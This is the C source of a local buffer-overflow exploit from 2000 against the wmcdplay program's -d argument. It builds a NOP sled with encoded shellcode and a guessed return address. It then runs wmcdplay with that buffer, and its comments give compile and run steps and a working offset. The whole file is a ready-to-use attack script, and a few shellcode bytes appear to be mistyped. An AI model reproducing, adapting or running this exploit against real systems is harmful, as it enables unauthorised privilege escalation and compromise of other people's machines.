/*Overflows the -d arg (cd device) buffer in wmcdplay due to
a bad
 *sprintf call.
 *This seems to be how most of the command line arguments
are called.
 *Larry W. Cashdollar 3/13/2000. lwc@vapid.dhs.org 
 *$:> gcc wmcdplay-bexp.c -o wmb ;./wmb <offset>
 *offset 400 worked for me on Mandrake 7.0 
 *Credit: TESO Crew http://teso.scene.at/ for finding the
original -d hole.
 */


#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90                /*no operation skip to next
instruction. */
#define LEN 1045                /*our buffersize. */

char shellcode[] =              /*generic shellcode with out
'/' ie not mine */
 
"\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x68\x80\x36\x01\x46\xe2\xfa"
 
"\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
 
"\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xbb\x11"
 
"\x01\x01\x8c\xba\x2b\xee\xfe\xfe\x30\xd3\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c"
 
"\xf9\xb9\x16\x01\x01\x01\x88\xd7\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
 
"\x01\x01\x88\xff\x52\x88\xf2\xcc\x81\x5a\x5f\x5e\x88\xed\x5c\xc2\0x91\0x91\0x91";

/*Nab the stack pointer to use as an index into our nop's*/
long
get_sp ()
{

  __asm__ ("mov %esp, %eax");

}

int
main (int argc, char *argv[])
{
  char buffer[LEN];
  int i;

  long retaddr = get_sp ();

/*Fill the buffer with our new address to jump to esp +
offset */
  for (i = 0; i < LEN; i += 4)
    *(long *) &buffer[i] = retaddr + atoi (argv[1]);

/*copy the NOPs  in to the buffer leaving space for
shellcode and
pointers*/

  printf ("Jumping to address %x, BufSize %d\n", retaddr +
atoi (argv[1]),
          LEN);

  for (i = 0; i < (LEN - strlen (shellcode) - 50); i++)
    *(buffer + i) = NOP;

/*copy the shell code into the buffer*/
  memcpy (buffer + i, shellcode, strlen (shellcode));
  execl ("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-d",
buffer, 0);

}
